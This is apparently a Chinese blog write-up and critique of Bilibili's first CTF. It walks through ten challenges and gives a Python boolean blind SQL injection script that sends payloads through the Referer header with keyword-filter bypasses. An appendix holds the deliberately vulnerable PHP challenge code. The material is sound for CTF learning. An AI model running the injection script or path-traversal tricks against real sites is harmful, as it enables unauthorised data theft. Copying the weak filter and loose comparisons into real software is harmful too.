首届 Bilibili 安全挑战赛吐槽

朋友发来一个 Bilibili CTF 的链接,点进去看了下。开赛已经几小时,进入比赛的按钮指向的是一个 10. 开头的内网IP地址。试着把这个IP换成当前页面的地址,成功进入了题目页面。又过了一阵子,这个进入比赛的链接终于被改成正确的地址了——我想,这应该只是个小失误吧。作为国内最大(去二次元化)二次元视频网站的哔哩哔哩,其举办的安全竞赛不说专业,但应该也会挺有意思的吧。

前去(B站内网)解题

确实挺有意思的,不过有意思的并不是题目本身。

Write up 吐槽时间

题 1-6 必须解出前一题才能看见下一题题目。

题 1: <input type="hidden" values="{flag}">

题 2:“需要使用bilibili Security Browser浏览器访问~” → 修改 User-Agent。

题 3:“密码是啥?” → 盲猜出用户名/密码 admin/bilibili。
B:没错这不是注入,你们字典里没有 bilibili 是你们的问题!

我是弱密码哟~ ✧

题 4:“superadmin.html: 对不起,权限不足~” → Cookies 中有 role=md5(‘user’)(首字母小写),盲猜出 role=md5(‘Administrator’) 提交。
B:root 是什么?superadmin 是什么?超级管理员是 Administrator(首字母大写哟~ ✧

题 5:“有些秘密只有超级管理员才能看见哦”,同时源码中 uid=100336889 → 从 100336889 递增爆破出超级管理员 uid。
B:9bishi 已经不是超级管理员了,我家超级管理员是一个 uid 非常大的员工,别问为什么~


接下来只有题 6 给出了一个 URL,7-10 均未给出题目。

题 6:一个文章标题内容均为 “null”,带评论框的博客页面(single.php?id=1)
→ 在 Referer 中进行盲注。
B:是的,评论框是装饰用的,?id=1 也是装饰用的~
我们的鉴权是用 Referer 做的,Referer 正确就能看到文章内容,是不是很符合实际?
对了,为了防止你们乱搞我把 MySQL 的 sleep 函数顺手禁了!
benchmark 函数是啥?没听说过!等下… 靶机怎么又 502 了?

题7:在前几题发现一个 /api/images?file=banner.png,没错,接着猜路径。

题 8:扫描题 6 给出的 IP,发现 redis 端口,连入 get flag8

题 9:题目位于 /api/images?file=../../../secret.txt,48 字节的未知数据,赛中无人解出本题。
赛后有人给出密钥为 ‘aes_key’ + ‘\0’ * 9,使用 AES-128-ECB 加密,该密钥据说可通过 api/images?file=md5(‘SkRG…Rw==’).jpg 获得。

data = 'SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw=='
aes_128_ecb_decrypt(base64_decode(base64_decode(data)), 'aes_key\0\0\0\0\0\0\0\0\0') // flag9-8b522546-e52d83b8-5682e05c-c8cb237c

题 10:
1. 扫描题 6 给出的 URL,发现一个包含 jsfuck 代码的页面 test.php
2. 解码获得关键词,并提示访问 github 搜索。
3. 在 github 找到源码后用 ?id[]=1 绕过 PHP 判断
4. 猜出 flag 位于 [这里填入一个任意字符]flag.txt(实质是 strpos($url, 'flag.txt') != false 就给过)
B:你说 strpos 返回值需要用 !== 运算符来判断?不,我就是要用 != ~

好了,吐槽部分结束,作为比较菜的 ctf 玩家,第 6 题作为一道盲注还是有些东西可以写。第 7 题和第 9 题题目在比赛临近结束大佬提示后才找到题目位置,没想到依然是猜路径。

第 6 题:Boolean based Blind SQL Injection

第 6 题是一个 SELECT 的 SQL 语句(一开始以为是 INSERT 之类的),注入点位于 HTTP_REFERER。如果有结果则显示文章,无结果显示空文章,本应是一个基于布尔值的盲注(Boolean based Blind SQL Injection)。

$payload_sql = "SELECT * FROM bilictf.refer where refer='{filter($_SERVER['HTTP_REFERER'])}';";

filter 函数过滤了一些关键词,同时 MySQL 禁用了 Sleep 函数(后来又允许使用了),但 Benchmark 函数未禁用(这可能也是本题靶机频繁宕机的原因之一)。使用 sqlmap 及合适的 level / risk 参数(以及在没有人跑 sqlmap 的靶机不会宕机的深夜)可以跑出一个基于时间的盲注(Time based Blind SQL Injection)。

如果用 Benchmark 函数做,Payload 如下:

SELECT ... WHERE refer='' + IF(ascii(SUBSTRING(database(),1,1))>32,BENCHMARK(5000000,MD5(1)),0)

解出题目后发现其实是基于布尔值的盲注(通过文章显示与否判断),预期解如下:

SELECT ... WHERE refer='' or IF(ascii(SUBSTRING(database(),1,1))>32,1,0)

脚本如下:

import requests

url = "http://.../blog/single.php?id=1"
result = ""

ascii_list = range(1, 128)
strpos = len(result)

while(True):
    strpos += 1
    arr = ascii_list
    start = 0
    end = len(arr)

    while(start < end):
        # time.sleep(0.2)
        mid = (start + end)//2

        # sql = "(SELECT database())" # bilictf
        sql = "(SELECT`flag`FROM`flag`)"

        payload = "' or IF(ascii(SUBSTRING(%s,%s,1))>%s,1,0)-- a" % (sql, strpos, arr[mid])

        # 绕过过滤
        payload = payload.replace("SELECT", "SEL&ECT")
        payload = payload.replace("or", "o&r")

        data = {'name': 'name'}
        headers = {'Referer': payload, 'User-Agent': 'Mozilla/5.0'}
        response = requests.post(url, data=data, headers=headers)
        response.encoding = 'utf-8'
        
        page_byte = response.headers['Content-Length']
        if int(page_byte) > 1487:
            if end - start == 1:
                if end < 127:
                    now_word = chr(arr[end])
                else:
                    now_word = '?' # 中文
                result += now_word
                break
            else:
                start = mid
        else:
            end = mid
            now_word = ""
    if now_word == "":
        break
    print(result)
print('result:', result)
运行结果

总结

看来B站钱都花在前端上了

回顾整场比赛,除了坑还是坑。前端代码残留了很多无助于解题的代码及注释。解题基本靠猜的情况导致了赛中提示就在网上漫天飞(说实话,如果没有这些提示,很多题我也猜不出)。现在看来,开赛初的那个小插曲只是这比赛各种坑点的冰山一角…

不过,围观各路神仙在最后一题 github repo 中的吐槽倒是成为了这次比赛的乐趣。有把 ETag 当成 flag(假装)认真提出思路的,有用神奇的手法分析比赛中各种图片、挖出各种“证据”的,有练习给总部写英语作文索要 flag 的,还有galgame汉化组发招人广告的。天知道出题者不关 issue 是失误还是有意为之。

另外,Hackergame 2020 几天后也要开始了。同样是偏趣味性的竞赛,但题目质量就很不错(至少前两年是如此),也能学到很多新东西,在此推荐给大家。

附录附上了一些题目的源码,留作参考。

Coxxs


P.S. single.php 中的逻辑部分:

<?php

function filter($str)
{
  $str = str_replace( '/', "", $str);
  $str = str_replace( '"', "", $str);
  $str = str_replace( '%', "", $str);
  $str = str_ireplace('and', "",$str);
  $str = str_ireplace('or',"",$str);
  $str = str_replace('&&'," ",$str);
  $str = str_replace('||'," ",$str);
  $str = str_replace( ';', "", $str);
  $str = str_ireplace( 'eval', " ", $str);
  $str = str_ireplace( 'open', " ", $str);
  $str = str_ireplace( 'sysopen', " ", $str);
  $str = str_ireplace( 'system', " ", $str);
  $str = str_ireplace("select","",$str);
  $str = str_ireplace("join","",$str);
  $str = str_ireplace("union","",$str);
  $str = str_ireplace("where","",$str);
  $str = str_ireplace("insert","",$str);
  $str = str_ireplace("delete"," ",$str);
  $str = str_ireplace("update"," ",$str);
  $str = str_ireplace("like","",$str);
  $str = str_ireplace("drop"," ",$str);
  $str = str_ireplace("DROP"," ",$str);
    $str = str_replace("&","",$str);
  return $str;
}

 
$servername = "localhost";
$username = "root";
$password = "2f7780c88a1301d04050b16e686dcea2";
 
$conn = mysqli_connect($servername, $username, $password);
mysqli_select_db($conn,"bilictf");
 
if (!$conn) {
  die("Connection failed: " . mysqli_connect_error());
}
$aid =$_GET['id'];
$refer = $_SERVER["HTTP_REFERER"];
 
if (!isset($aid))
{
  return;
}
if (!isset($refer))
{
    $refer = "https://www.bilibili.com/";
}

$aid = filter($aid);
$refer = filter($refer);

$sql = "SELECT * FROM bilictf.article where article_id=1;";

$payload_sql =  "SELECT * FROM bilictf.refer where refer='$refer';";
//echo $payload_sql;
$result_payload = mysqli_query($conn, $payload_sql);
if (mysqli_num_rows($result_payload) > 0) {
    //echo $sql;
    $result = mysqli_query($conn, $sql);
    if (mysqli_num_rows($result) > 0) {
      while($row = mysqli_fetch_assoc($result)) {
        $title = $row["title"];
            $content = $row["content"];
            $creator = $row["creator"];
            $time = $row["time"];
    }
    } else {
      echo "0";
    }
} else {
    $title = "null";
    $content = "null";
    $creator = "null";
    $time = "null";
}
?>

P.P.S. 第 10 题的 end.php 实际源码:

<?php

$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);

if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
  $content = file_get_contents($_GET['url']);
  //echo $content;
  $filename = "./imgs/bilibili_224a634752448def6c0ec064e49fe797_havefun".".jpg";
  if (strpos($_GET['url'],"flag.txt") == false){
    echo "还差一点点啦~";
  }else{
    //file_put_contents($filename,$content);
    echo "<img src=".$filename.">";
  }
}else{
  echo "你想要的不在这儿~";
}
?>

首届 Bilibili 安全挑战赛吐槽》有8个想法

  1. 爱了,愿明年阿B能有质量高的题目吧,题目引导出大问题,误导性的东西太多了,气死

  2. 只有第六题我承认是我菜,这个str_replace是真的想不出来,当初跑出盲注的时候还以为是网络波动(:з)∠)。。。其他题,哇的一声哭出来

    1. sqlmap 给结果之后其实可以手动验证下的,其他题我也无语了… 毕竟b站

  3. 请问博主您的博客主题是自己写的嘛?感觉很漂亮!不知道有没有开源或者放到wp主题商店

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注